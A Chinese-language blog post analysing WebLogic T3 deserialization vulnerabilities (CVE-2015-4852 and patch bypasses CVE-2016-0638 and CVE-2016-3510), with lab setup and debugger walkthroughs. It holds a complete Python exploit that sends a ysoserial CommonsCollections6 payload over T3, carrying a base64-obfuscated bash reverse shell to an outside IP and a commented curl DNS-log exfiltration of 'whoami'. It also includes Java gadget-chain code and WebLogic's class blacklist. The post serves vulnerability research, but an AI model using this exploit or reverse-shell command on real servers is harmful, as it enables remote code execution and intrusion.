Weblogic漏洞分析(一)

Uncategorized
2.8k words

前言

本文主要分析Weblogic的反序列化漏洞,在weblogic里面其实反序列化漏洞利用中大致可以分为两种,一种是基于T3协议的反序列化漏洞,一种是基于XML的反序列化漏洞。

基于T3协议漏洞: CVE-2015-4582、CVE-2016-0638、CVE-2016-3510、CVE-2018-2628、CVE-2020-2555、CVE-2020-2883

基于XML:CVE-2017-3506、CVE-2017-10271、CVE-2019-2729

T3协议

简介

T3协议是一种基于Java远程方法调用(RMI)实现的协议,它在WebLogic Server中用于实现客户端和服务器之间的通信。其主要功能是使用Java对象进行通信,能够传输包括Java对象在内的各种数据类型,实现WebLogic Server集群中不同服务器之间的通信和数据传输,以便实现负载均衡等功能。与传统的RMI通信协议相比,它提供了一些额外的特性,如服务端可以持续追踪监控客户端是否存活的心跳机制,以及通过建立一次连接完成全部数据包传输,从而优化了数据包大小和网络消耗。此外,T3协议还包含了请求头和请求主体两部分,这些部分分为七个部分,其中第一部分是协议头,后面的2-7都是请求主题,这有助于更好地理解和管理通信过程。

T3协议结构

头部

首先,T3协议包含请求包头和请求的主体这两部分内容。这意味着在数据包发送之前,需要先发送一个头部(header),其中包括请求的ID、长度等信息。例如,客户端首先发送一个T3数据包的头部,如t3 12.2.1 AS:255 HL:19 MS:10000000 PU:t3://us-l-breens:7001,其中12.2.1表示本地客户端请求,AS是对象的大小,HL是header的长度,PU指定目标。

简单写个socket发包脚本,wireshark选择any追踪流分析一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import socket  

def T3Test(ip,port):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))
handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n" #请求包的头
sock.sendall(handshake.encode())
while True:
data = sock.recv(1024)
print(data.decode())

if __name__ == "__main__":
ip = "localhost"
port = 7001

T3Test(ip,port)


在这个请求包中,还包含了一个HELO响应,这通常是服务器向客户端返回的第一个消息。在这个响应中,服务器给出了自己的版本号,即10.3.6.0.false ,并指定了另一个端口号2048。

请求主体

我们发送的请求主体,可以被划分为七部分内容,至于这7个部分有什么区别联系,可以参考下面两张图

第一个非 Java 序列化数据,也就是我们的请求头:t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n
剩下的就是主体部分。不难看出,每一部分序列化数据前缀都是ac ed 00 05,通过这个特征,我们就可以把这些部分做出一个合理的区分。而我们的poc构造,其关键就在于将恶意序列化数据替换掉2-7这几个部分里的序列化数据,形象一点地表示就是下图这样 (只需要替换掉其中一个就行)

当然,只保留一部分的序列化数据也是合理的,下面这种利用方式也同样可以奏效

CVE-2015-4852

挺经典的洞,这里也是跟着研究一下,准备好的poc如下,打的CC6

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import socket
import sys
import struct
import re
import subprocess
import binascii

def get_payload1(gadget, command):
JAR_FILE = 'ysoserial-all.jar'
popen = subprocess.Popen(['java', '-jar', JAR_FILE, gadget, command], stdout=subprocess.PIPE)
return popen.stdout.read()

def get_payload2(path):
with open(path, "rb") as f:
return f.read()

def exp(host, port, payload):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))

handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n".encode()
sock.sendall(handshake)
data = sock.recv(1024)
pattern = re.compile(r"HELO:(.*).false")
version = re.findall(pattern, data.decode())
if len(version) == 0:
print("Not Weblogic")
return

print("Weblogic {}".format(version[0]))
data_len = binascii.a2b_hex(b"00000000") #数据包长度,先占位,后面会根据实际情况重新
t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") #t3协议头
flag = binascii.a2b_hex(b"fe010000") #反序列化数据标志
payload = data_len + t3header + flag + payload
payload = struct.pack('>I', len(payload)) + payload[4:] #重新计算数据包长度
sock.send(payload)

if __name__ == "__main__":
host = "localhost"
port = 7001
gadget = "CommonsCollections6" #CommonsCollections1 Jdk7u21
command = "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI1MS4xNy83Nzc3IDA+JjEgCg==}|{base64,-d}|{bash,-i}"
# command = "curl http://`whoami`.5dhwnx.dnslog.cn"

payload = get_payload1(gadget, command)
exp(host, port, payload)

执行结果如下

wireshark抓包分析一下,发现ysoserial的恶意payload已经插进去了

  1. 数据包长度
  2. T3协议头
  3. 反序列化标志:T3协议中每个反序列化数据包前面都带有fe 01 00 00,再加上反序列化标志ac ed 00 05就变成了fe 01 00 00 ac ed 00 05
  4. 序列化数据

远程调试环境搭建

远程环境是docker起的,先把这几个依赖给拿出来

1
2
3
docker cp weblogic1036jdk8u202:/u01/app/oracle/middleware/modules `pwd`  
docker cp weblogic1036jdk8u202:/u01/app/oracle/middleware/wlserver `pwd`
docker cp weblogic1036jdk8u202:/u01/app/oracle/middleware/coherence_3.7/lib `pwd`

idea在项目结构里把这几个东西加到库里边导入依赖

在docker里运行如下命令,若出现如下界面,则代表启动正常

1
sh /u01/app/oracle/Domains/ExampleSilentWTDomain/startWebLogic.sh


idea里面做如下配置,端口和主机都要对应上远程环境

InboundMsgAbbrev#readObject处打上断点,同时打poc

调试环境搭建成功

漏洞分析

接着上面的步骤来分析,先看到45行ServerChannelInputStream这块,此时var1封装着未被解析的序列化数据,跟进此处的new ServerChannelInputStream(var1)

ServerChannelInputStream是个继承于ObjectInputStream的内部类,并且重写了resolveClass方法。这里resolveClass先打个断点就不管它了,跟进getServerChannel()看看。

返回了一个ServerChannel对象,此处的connection包含了一堆相关的信息。该方法的意义就在于处理我们的T3协议所传递的信息,没有必要管他,直接步过,。

回头看看我们这里返回的对象,其实就是解析出了一堆socket信息,整理了下信息流,在得到信息流之后再进行readObject



因为这里的readObject并没有进行重写,所以本质还是ObjectInputStream的那一套,唯一不同的地方就在于resolveClass是被重写过的,当ObjectInputStream调到resolveClass的时候,其实用的是ServerChannel 重写过的 resolveClass。中间那套原生反序列化的分析步骤就先越过了,直接看ServerChannel#resovleClass这个重写方法。

大体看了一下源码,发现和原生反序列化实现的效果没什么区别,黑名单之类的防护措施都没有做,故而造成反序列化漏洞,其大体流程可按下图总结。

CVE-2016-0638(修复绕过)

环境搭建

因为CVE-2016-0638其实就是CVE-2015-4852的修复绕过,我们只需要在原有环境基础上把补丁打好就行。如图所示,我们先把补丁复制到docker里面去

之后依次键入以下命令

1
2
3
4
5
6
7
cd /u01/app/oracle/middleware/utils/bsu
mkdir cache_dir
cp /home/p20780171_1036_Generic/* ./cache_dir/
cp /home/p22248372_1036012_Generic/* ./cache_dir/
vi bsu.sh
./bsu.sh -install -patch_download_dir=/u01/app/oracle/middleware/utils/bsu/cache_dir/ -patchlist=EJUW -prod_dir=/u01/app/oracle/middleware/wlserver -verbose
./bsu.sh -install -patch_download_dir=/u01/app/oracle/middleware/utils/bsu/cache_dir/ -patchlist=ZLNA -prod_dir=/u01/app/oracle/middleware/wlserver -verbose

最后两条命令运行时间可能稍长点,返回以下界面即代表运行无误

搞完之后重启一下docker,发现原来的poc已经打不通了,证明修复成功

之后就和之前一样了,把依赖包拉到项目里面分析即可

漏洞分析

毕竟本质是个补丁的bypass,我们先看下原有的补丁是怎么打的

简单粗暴地在resolveClass加了个黑,相关名单如下所示

1
2
3
4
static final String BLACK_LIST_PROPERTY = "weblogic.rmi.blacklist";  
static final String DISABLE_DEFAULT_BLACKLIST_PROPERTY = "weblogic.rmi.disabledefaultblacklist";
static final String DISABLE_BLACK_LIST_PROPERTY = "weblogic.rmi.disableblacklist";
private static final String DEFAULT_BLACK_LIST = "+org.apache.commons.collections.functors,+com.sun.org.apache.xalan.internal.xsltc.trax,+javassist,+org.codehaus.groovy.runtime.ConvertedClosure,+org.codehaus.groovy.runtime.ConversionHandler,+org.codehaus.groovy.runtime.MethodClosure";

这里的bypass是一个二次反序列化的实战案例,用到了StreamMessageImpl这个类。我们先简单看一下这个类的关键源码。

readExternal里面对var5进行了readObject调用,并且这里的var5还是个ObjectInputStream对象,再加上readExternal本质上和readObject处于同等触发难度,妥妥的二次反序列化节点,接下来我们分析一下payload,这里用到的生成器是weblogic_cmd,下载地址如下 https://github.com/5up3rc/weblogic_cmd/

Exp分析

项目导入idea后如下设置,之后开启debug模式

入口类149行处打上断点,开始debug调试分析

先将我们的参数解析为cmdline,之后再根据解析得到的参数的值对hostport等变量进行赋值,最后进入executeBlind()方法


-C参数解析取得要执行的命令,这里要注意一下必须同时存在-B-C参数才能接着往下执行,我们跟进62行的blindExecute()

对os进行判断,以此决定执行命令的终端,之后在43行处得到反序列化payload,跟进

先跟进里面的blindExecutePayloadTransformerChain(execArgs)看一眼,发现是链式反应里的Transformers数组设置,接着再回到serialData这里


发现原来是CC1的gadget,很烦,和远程环境8u202对不上,得先自己改成CC6的链子,这里暂停调试一下把CC6的链子贴上去改改,调完之后正式跟进selectBypass()

1
2
3
4
5
6
7
8
9
10
11
12
13
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);  
HashMap<Object,Object> map = new HashMap<Object,Object>();
Map<Object,Object> Lazymap = LazyMap.decorate(map,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(Lazymap,"aaa");
HashMap<Object,Object> map2 = new HashMap<Object,Object>();
map2.put(tiedMapEntry,"bbb");
Lazymap.remove("aaa");
Class c = LazyMap.class;
Field factoryFied = c.getDeclaredField("factory");
factoryFied.setAccessible(true);
factoryFied.set(Lazymap,chainedTransformer);
Object _handler = BypassPayloadSelector.selectBypass(map2);
return Serializables.serialize(_handler);


因为Main.Type设置的是streamMessageImpl,所以这里跟进的是38行的逻辑


给套了层streamMessageImpl的壳,到此为止payload即生成完毕

之后就是把payload按T3协议发送过去了,这块就不跟了,和上面的python本质是一样的

执行结果如下

CVE-2016-3510(修复绕过)

在Weblogic从流量中的序列化类字节段通过readClassDesc-readNonProxyDesc-resolveClass获取到普通类序列化数据的类对象后,程序依次尝试调用类对象中的readObject、readResolve、readExternal等方法

根据上面这段话,这里还有一个几乎是一样原理的bypass,exp分析就不过了,和0638几乎一样,只是改了个Main.Type的事儿,简单看一下漏洞分析就是了,我们来到MarshalledObject#readResolve这块

49行一眼二次反序列化,接着看看this.objByte怎么出来的就行了

实例化的时候就已经搞定了恶意序列化数据,over